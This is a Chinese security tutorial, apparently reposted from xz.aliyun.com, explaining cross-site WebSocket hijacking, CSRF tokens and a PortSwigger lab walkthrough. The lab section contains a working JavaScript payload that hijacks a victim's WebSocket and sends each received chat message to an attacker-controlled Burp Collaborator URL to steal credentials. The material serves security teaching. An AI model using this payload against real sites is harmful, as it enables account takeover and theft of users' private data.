关于那WebSocket劫持的二三事
2022-9-8 23:55:34 Author: xz.aliyun.com(查看原文) 阅读量:19 收藏

什么是ws劫持

ws劫持全称为跨站点WebSocket劫持(CSWSH),(也称为跨源 WebSocket 劫持)涉及WebSocket 握手上的跨站点请求伪造(CSRF) 漏洞。当 WebSocket 握手请求仅依赖 HTTP cookie 进行会话处理并且不包含任何CSRF 令牌或其他不可预测的值时,就会出现这种情况。

攻击者可以在自己的域中创建恶意网页,从而与易受攻击的应用程序建立跨站点 WebSocket 连接。应用程序将在受害者用户与应用程序的会话上下文中处理连接。

然后,攻击者的页面可以通过连接向服务器发送任意消息,并读取从服务器收到的消息内容。这意味着,与常规 CSRF 不同,攻击者获得与受感染应用程序的双向交互。

综上所述,这一知识点涉及的知识主要有websocket和CSRF令牌,那我们就需要进一步了解这两个东西了

WebSocket是啥

WebSocket是通过HTTP启动的双向、全双工通信协议。它们通常用于流式传输数据和其他异步流量的现代Web应用程序中。最常见的是网站中的聊天机器人

有人要问了:那他和同为协议的且使用更普遍的HTTP协议有什么区别呢?

首先呢WebSocket是HTML5推出的新协议,是基于TCP的应用层通信协议,它与http协议内容本身没有关系。

同时WebSocket 也类似于 TCP 一样进行握手连接,跟 TCP 不同的是,WebSocket 是基于 HTTP 协议进行的握手,它在客户端和服务器之间提供了一个基于单 TCP 连接的高效全双工通信信道

WebSocket连接是通过HTTP发起,通常是长期存在的。消息可以随时向任何一个方向发送,并且本质上不是事务性的。连接通常保持打开和空闲状态,直到客户端或服务器发送消息。
WebSocket在需要低延迟或服务器发起消息的情况下特别有用,例如金融数据的实时馈送。

使用HTTP时,客户端发送请求,服务器返回响应。通常响应立即发生,事务完成。即使网络连接保持打开,请求和响应也是单独的事务。这一点和websocket本质上不同。

WebSocket是如何建立的

由图可见,WebSocket连接的建立需要经过连接请求、握手、连接建立这三个环节

首先要由浏览器发出WebSocket握手请求

GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket

然后返回WebSocket握手响应

HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=

需要网络连接保持打开状态,可用于在任一方向上发送WebSocket消息。

ws.send("Peter Wiener"); //客户端发送消息
{"user":"Hal Pline","content":"I wanted to be a Playstation growing up, not a device to answer your inane questions"} //通常JSON格式回复信息

同时需要client-side JavaScript 用于定义链接

var ws = new WebSocket("wss://normal-website.com/chat");

CSRF令牌是啥

这里用一个维基百科的例子解释


  • 假设您当前登录到您的网上银行 www.mybank.com
  • 假设从中进行汇款,mybank.com将导致(在概念上)形式的要求www.mybank.com/transfer?to=<SomeAccountnumber>;amount=<SomeAmount>。(不需要您的帐号,因为您的登录名暗示了该帐号。)
  • 您访问www.cute-cat-pictures.org,却不知道这是一个恶意网站。
  • 如果该站点的所有者知道上述请求的形式(简单!)并且正确地猜测您已登录mybank.com(需要运气!),则他们可以在其页面上添加一个请求,例如www.mybank.com/transfer?to=123456;amount=10000123456开曼群岛帐户的编号在哪里) ,这10000是您以前认为很高兴拥有的金额)。
  • 检索的www.cute-cat-pictures.org页面,那么你的浏览器会作出这样的要求。
  • 您的银行无法识别请求的来源:您的网络浏览器将发送请求以及您的www.mybank.comcookie,并且看起来完全合法。你的钱去了!

这是没有CSRF令牌的世界。

现在,使用 CSRF令牌获得更好的效果:

  • 传输请求扩展了第三个参数:www.mybank.com/transfer?to=123456;amount=10000;token=31415926535897932384626433832795028841971
  • 该令牌是一个巨大的,无法猜测的随机数,mybank.com当他们将其提供给您时会包含在他们自己的网页上。每次他们向任何人提供任何页面时,情况都 不同
  • 攻击者无法猜测令牌,也无法说服您的Web浏览器放弃该令牌(如果浏览器正常工作...),因此攻击者将无法创建有效请求,因为带有错误的令牌(或没有令牌)将被拒绝www.mybank.com

结果:您保留了10000货币单位。我建议您将其中一些捐赠给Wikipedia。

(你的旅费可能会改变。)

编辑评论值得阅读:

值得注意的是www.cute-cat-pictures.orgwww.mybank.com由于HTTP访问控制,通常来自的脚本无法访问您的反CSRF令牌。对于某些人,他们Access-Control-Allow-Origin: *不了解每个网站响应的标题而仅仅因为他们不能使用另一个网站的API,因此对于那些不合理地为每个网站响应发送标头的人来说非常重要。


由于令牌在生成过程中使用到了伪随机数(pseudo-random number)生成器、静态密钥、以及种子时间戳,因此CSRF令牌的值是不可预测的。同时,每个用户的令牌也是不同的,而且只会存储活动的用户会话。据此,安全团队可以通过将随机数生成器的输出,与用户特定的熵(entropy)连接起来,并对整个结构进行散列处理,以提高令牌值的唯一性。对此,黑客将很难在早期的会话Cookie中,根据已发布的令牌样本,去猜测CSRF令牌。

举个例子,大概有以下特征的就可以合理怀疑是否有csrf令牌生成

<?php
namespace app\extra;

class CsrfToken
{
    /**
     * TOKEN key
     * @var
     */
    private $key = 'default';

    /**
     * 随机字符串
     * @var string
     */
    private $shuffleStr = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890./!#$&*";

    /**
     * 基础配置
     * @var array
     */
    private $options = [
        "prefix"=>"csrf_token:", // session 缓存前缀
        "cookie_token"=>"_hash_token_", // cookie 客服端前缀
        "expire"=>1800, // cookie值过期时间
        "token_len"=>24, // 随机字符串截取长度
        "path"=>"/", // cookie 服务器路径
        "secure"=>false, // cookie 规定是否通过安全的 HTTPS 连接来传输 cookie:false否,true是
        "httponly"=>false, // cookie js脚本将无法读取到cookie信息,这样能有效的防止XSS攻击:true防止JS读取数据,false否
        "dimain"=>"" // cookie 的域名[默认当前域名使用]
    ];

    /**
     * 构造基础配置
     * CsrfToken constructor.
     * @param array|null $option
     * @throws \Exception
     */
    public function __construct(array $option=null)
    {
        // 重置基础配置
        if ($option){
            $this->options = array_merge($this->options,$option);
        }
        // 验证是否开启session
        if (!$this->checkSessionStart()){
            throw new \Exception("未开启SESSION服务,请确认开启再操作",500);
        }
    }

    /**
     * 设置TOKEN SESSION KEY
     * @param mixed $key
     */
    public function setKey($key)
    {
        $this->key = $key;
    }

    /**
     * 获取TOKEN
     * @param int $is_refresh 是否强制刷新TOKEN:0否,1是
     * @return null|string
     */
    public function csrfToken(int $is_refresh=0)
    {
        // 获取SESSION key
        $key = $this->getTokenKey();
        $csrfToken = session($key);
        if (!$csrfToken || $is_refresh == 1){
            // 强制刷新TOKEN
            $this->refreshCsrfToken($csrfToken);
        }
        return $csrfToken ? (string)$csrfToken : null;
    }

    /**
     * 刷新token
     * @param null $csrfToken
     * @return bool
     */
    public function refreshCsrfToken(&$csrfToken=null)
    {
        $csrfToken = $this->generateToken();
        // 获取SESSION key
        $key = $this->getTokenKey();
        session($key,$csrfToken);
        // 设置Cookie
        $cookieKey = $this->getCookieKey();
        cookie(
            $cookieKey,
            $csrfToken
        );
        // 验证是否创建成功
        $csrfToken = session($key);
        $_csrfToken = cookie($cookieKey);
        if (!$csrfToken  || strcasecmp($csrfToken,$_csrfToken) != 0){
            return false;
        }
        return true;
    }

    /**
     * 验证TOKEN是否有效
     * @param string|null $_csrfToken
     * @return bool
     */
    public function validateToken(string $_csrfToken)
    {
        $res = $this->_validate($_csrfToken);
        if ($res === false){
            // 移除客户端token
            $cookieKey = $this->getCookieKey();
            cookie($cookieKey,null);
        }
        // 验证完成,重置token【注:无论是否成功】
        $this->refreshCsrfToken();
        return $res;
    }

    /**
     * 验证token值
     * @param string|null $_csrfToken
     * @return bool
     */
    protected function _validate(string $_csrfToken)
    {
        if (!$_csrfToken || !is_scalar($_csrfToken)){
            return false;
        }
        // 拆出token验证长度和过期时间
        @list($token,$expireTime) = explode("-",$_csrfToken);
        if (mb_strlen($token) != 40){
            return false;
        }
        // 获取SESSION key
        $key = $this->getTokenKey();
        $csrfToken = session($key);
        if (!$csrfToken){
            return false;
        }
        // 验证是否通过,返回失败移除客户端token
        if (strcasecmp($csrfToken,$_csrfToken) != 0){
            return false;
        }
        // 验证token是否过期
        if ($expireTime < time()){
            return false;
        }
        return true;
    }

    /**
     * 生成token
     * @return string
     */
    protected function generateToken()
    {
        // 随机打乱字符串
        $originStr = str_shuffle($this->shuffleStr);
        $len = mb_strlen($originStr);
        if ($len > $this->options['token_len']){
            $this->options['token_len'] = $len;
        }
        // 按长度截取
        $temp = mb_substr($originStr,0,$this->options['token_len']);
        // 拼接随机码和时间戳
        $temp .= uniqid().time();
        // sha加密
        $csrfToken = sprintf(
            "%s-%s",sha1($temp),$this->getExpireTime()
        );
        return $csrfToken;
    }

    /**
     * 获取TOKEN 完整KEY
     * @return string
     */
    protected function getTokenKey()
    {
        return $this->options['prefix'].$this->key;
    }

    /**
     * 获取cookie KEY
     * @return string
     */
    protected function getCookieKey()
    {
        return $this->options['cookie_token'].$this->key;
    }

这个是自动生成csrf令牌代码的一部分,大概有以上特征的就可以合理怀疑了

对于 CSRF cookie 常用的一些全局变量

CSRF_COOKIE_NAME = 'csrftoken'  # 默认的 key 名称
CSRF_COOKIE_AGE = 60 * 60 * 24 * 7 * 52  # 存活时间
CSRF_COOKIE_DOMAIN = None  # 在那个域名下生效
CSRF_HEADER_NAME = 'HTTP_X_CSRFTOKEN'  # 请求头的名称

WebSocket劫持的影响

伪装成受害者用户执行未经授权的操作。与常规 CSRF 一样,攻击者可以向服务器端应用程序发送任意消息。如果应用程序使用客户端生成的 WebSocket 消息来执行任何敏感操作,则攻击者可以跨域生成合适的消息并触发这些操作。

检索用户可以访问的敏感数据。与常规 CSRF 不同,跨站点 WebSocket 劫持使攻击者可以通过被劫持的 WebSocket 与易受攻击的应用程序进行双向交互。如果应用程序使用服务器生成的 WebSocket 消息向用户返回任何敏感数据,则攻击者可以拦截这些消息并捕获受害用户的数据。

总而言之

  • 伪装成受害用户执行未经授权的操作。
  • 检索用户可以访问的敏感数据。(与传统的CSRF不同,通过被劫持的WebSocket与易受攻击的应用程序进行双向交互。)

一个实例

靶场是bp的官方靶场

该在线商店具有使用WebSockets实现的实时聊天功能。

为了解决实验室问题,请使用漏洞利用服务器托管 HTML/JavaScript 负载,该负载使用跨站点 WebSocket 劫持攻击来窃取受害者的聊天记录,然后使用此访问他们的帐户。

时时聊天界面如下

补充一个重要条件,要用火狐浏览器来进行抓包操作,要不会导致WebSocket抓不到的尴尬局面

我们首先观察一下/chat的报文,看看有没有CSRF令牌

GET /chat HTTP/1.1
Host: ac351fbb1f9283b3c0951a8f008900c7.web-security-academy.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Sec-WebSocket-Version: 13
Origin: https://ac351fbb1f9283b3c0951a8f008900c7.web-security-academy.net
Sec-WebSocket-Key: YMjuNMYTvLI96SD0GLDM0A==
Connection: keep-alive, Upgrade
Cookie: session=81Q5ZYqw7qoiHwleuELCxRHqOM3nQ1z2
Sec-Fetch-Dest: websocket
Sec-Fetch-Mode: websocket
Sec-Fetch-Site: same-origin
Pragma: no-cache
Cache-Control: no-cache
Upgrade: websocket

不难发现,其中用到了WebSocket协议且没有与上方写到的CSRF令牌的相关内容,所以说不存在csrf令牌

然后将以下代码放到靶场自带的东西中

<script>
  var ws = new WebSocket('wss://your-websocket-url');
  ws.onopen = function() {
    ws.send("READY");
  };
  ws.onmessage = function(event) {
    fetch('https://your-collaborator-url', {method: 'POST', mode: 'no-cors', body: event.data});
  };
</script>

然后将your-websocket-url替换成目前聊天框的URL:比如wss://ace71f371e9e475580b8003800fc0040.web-security-academy.net/chat,wss记得要改

同时将your-collaborator-url替换成Burp Collaborator Client生成的payload

下面介绍一下Burp Collaborator Client

可以将他简单理解为是Burp给我们提供的一个外部服务器

测试跨站可能有些功能插入恶意脚本后无法立即触发,例如提交反馈表单,需要等管理员打开查看提交信息时才会触发,程序不进行详细的回显信息,而只是返回对或者错时,我们都可以叫它盲。

我们需要一个外部的独立的服务器,可以通过域名 url 进行访问。然后在测试盲跨站插入恶意脚本时带上这个服务器的地址,在测试盲写我们这个服务器的地址。如果存在上述的这些问题,那么目标服务器就会去访问我们自己的服务器,我们自己服务器要做的就是记录别人访问自己的信息,记录其发送内容相应内容等,因为目标服务器不会给前台返回任何信息,而在和我们外部服务器交互时,我们外部服务器会记录其交互的过程和内容,从而有利于我们判断漏洞的存在。

Burp 给我们提供了这个外部服务器,叫 Collaborator

下面这个图可以大体的代表 collaborator 的大体工作流程,首先 burp 发送 payload 给目标程序,以下图为例,其 payload 为外部的服务器 url 地址,随后目标程序若进行解析或则引用调用等,则会去访问这个地址,而这个地址是我们的 collaborator 服务器,所以 collaborator 会记录其访问的请求信息以及响应信息和 dns 的信息。而当 burp 发送 payload 后,就会不断的去问 collaborator 服务器,你收到我发送的 payload 交互了么,这时 collaborator 就会将交互信息告诉 burp,burp 最后进行报告。

这个好东西在哪呢?这里使用的是Burp的官方默认服务

设置好后,我们可以通过工具栏的 burp 下的 burp collaborator client 来运行

点击复制到粘贴板就可以把他的payload url复制下来使用了,也就是上面提到的Burp Collaborator Client生成的payload

我们回到题目本身,写完是这样的

可以用view exploit进行攻击测试,由回应了之后就可以直接发给被攻击方了

之后我们在Collaborator Client里面进行轮询,多轮询几遍就可以在其中的某一个报文中找出账号密码了


文章来源: https://xz.aliyun.com/t/11684
如有侵权请联系:admin#unsafe.sh